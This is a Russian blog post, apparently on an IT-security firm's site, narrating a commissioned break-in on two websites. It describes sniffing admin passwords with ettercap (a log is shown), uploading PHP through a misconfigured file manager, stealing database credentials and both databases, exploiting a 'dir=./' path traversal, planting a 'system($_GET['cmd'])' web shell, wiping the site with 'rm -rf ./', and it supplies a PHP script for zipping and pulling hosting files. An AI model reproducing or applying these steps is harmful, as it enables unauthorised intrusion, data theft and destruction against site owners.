История одного взлома. часть вторая. Внедрение в админку.

Пароли на резервный сайт были перехвачены через ettercap (а так же куча других паролей). Надеюсь не надо рассказывать, как подключиться к компьютеру по SSH и посмотреть логи перехвата)
Вот пример того, как выглядит лог:
Listening on eth0... (Ethernet)

eth0 -> 00:08:C7:2B:47:1E 192.168.0.251 255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

DHCP: [00:1F:D0:1D:4B:68] REQUEST 192.168.0.100
HTTP : 217.69.128.51:80 -> USER: ********** PASS: ********** INFO: http://www.mail.ru/
HTTP : 217.69.128.53:80 -> USER: ********** PASS: ********** INFO: http://www.mail.ru/
DHCP: [00:1E:58:4B:DA:89] REQUEST 192.168.0.114
DHCP: [00:1D:92:84:05:0B] REQUEST 192.168.0.103
DHCP: [00:1D:92:84:05:0B] REQUEST 192.168.0.103
DHCP: [00:1D:92:84:05:0B] DISCOVER
DHCP: [00:1D:92:84:05:0B] REQUEST 192.168.0.103
HTTP : 217.69.128.52:80 -> USER: ********** PASS: ********** INFO: http://www.mail.ru/
DHCP: [00:1D:92:A8:49:85] DISCOVER
DHCP: [00:1D:92:A8:49:85] REQUEST 192.168.0.187
DHCP: [00:1F:D0:1D:4B:68] REQUEST 192.168.0.100
DHCP: [00:1F:D0:1D:4B:68] REQUEST 192.168.0.100
DHCP: [00:1F:D0:1D:4B:68] REQUEST 192.168.0.100
HTTP : 89.253.243.184:80 -> USER: ********** PASS: ********** INFO: http://www.xxx.ru/admin.php


Перехватив пароли на админку, входим как хозяева и начинаем искать дыры в сайте.
Движок сайта оказался какой-то не понятной самопиской(или может просто мне до этого не встречался).
Для начала решил попробовать добавить нужный мне PHP код в страничку, через редактор страниц в движке(по принципу: а вдруг повезет), но удача мне тут не сопутствовала 🙁
Через некоторое время был найден файл-менеджер в админке, но он на первый взгляд умел работать только с прописанными в нем папками (потом был найден способ открывать через него любую папку, но об этом позже), после пробной заливки произвольного файла PHP, стало ясно, что права на папку, как обычно, выставлены криво и можно заливать на исполнение любой файл. Чем я и воспользовался, залив свой файл-менеджер. Естественно после этого я получил полный доступ к файловой системе и смог слить все скрипты и картинки(первая цель была выполнена). Далее из скриптов был вытащен логин и пароль, на базу MySQL. И конечно же сразу слил ее в в бэкап. Итого первый сайт был взят целиком и живьем 🙂 Теперь возникал вопрос про второй сайт. Ведь пароля на его админку нет, но тут был замечен скрипт синхронизации информации между сайтами. Вскрытие скрипта показало что в нем хранились пароли к БД обоих сайтов:

< ?php $step = isset($_POST['s']) ? $_POST['s'] : 1; define('DB_HOST', 'localhost'); // database host define('DB_NAME', '*********'); // database name define('DB_USER', '*********'); // username define('DB_PASS', '*********'); // password if($step >= 2){

define('DB_DOMEN', $_POST['domen']);
define('DB_HOST', $_POST['host']);
define('DB_NAME', $_POST['db']);
define('DB_USER', $_POST['user']);
define('DB_PASS', $_POST['pass']);

define('DB_RDOMEN', $_POST['rdomen']);
define('RDB_HOST', $_POST['rhost']);
define('RDB_NAME', $_POST['rdb']);
define('RDB_USER', $_POST['ruser']);
define('RDB_PASS', $_POST['rpass']);

}

?>

Введите данные для доступа к базам данных:
источник:
домен
сервер БД
база данных
логин
пароль
=>
получатель:
домен
сервер БД
база данных
логин
пароль

Конечно же сразу была слита БД второго сайта. Ну и по пути был выдран хэш пароля администратора из второй БД. Он оказался в Base64, но это, была не проблема 🙂
Но вот дальше начались проблемы. Оказалось, что на основном сайте права на папки были заданы коректно, и мой файл-менеджер не имел доступа ко многим папкам. Начал анализировать их файл-менеджер на предмет передачи какого-нить параметра, кроме стандартных. После просмотра скрипта, настало мне счастье. В скрипте небыло проверки на передаваемый параметр директории. Если в начале строка выглядела вот так: http://www.xxx.ru/filemanager/filemanager.php?dir=news_pictures и, то после изменения входных параметров она стала выглядеть так: http://www.xxx.ru/filemanager/filemanager.php?dir=./ и показывать корень сайта. Ну а дальше было лишь делом техники слить все со второго сайта. На этом миссия была выполнена, но мне стало интересно, что же еще можно сделать с сайтом:) Для проверки залил простейший PHP шелл,который сводился к форме и строке вида:

system($_GET['cmd']);

И оказалось что он очень даже неплохо работает 🙂
немного поигравшись со всем этим делом, перешел к последнему этапу: rm-rf ./
На этом работа была закончена. Заказчик получил моральное удовлетворение, я получил то что ме причиталось и приятное чувство выполненной задачи.
А вам я еще приведу маленький скриптик, который жмет файлы с хостинка в архив, который потом можно скачать одним махом.



< ?PHP // увеличим время выполнения скрипта ini_set('max_execution_time', 300); // создать объект $zip = new ZipArchive(); // откроем архив if ($zip->open("archive".date('j_m_Y_h_m_s').".zip", ZIPARCHIVE::CREATE) !== TRUE) {
die ("Could not open archive");
}

// запустим итератор
// и пусть бегает по директориям
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($_POST['cmd']));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key) or die ("ERROR: Could not add file: $key");
}

// сохраним и закроем получившийся архив.
$zip->close();
echo "Archive created successfully.";
?>

Заказать создание и поддержку безопасной IT-инфраструктуры любой сложности

Быть уверенным в своей IT-инфраструктуре — это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.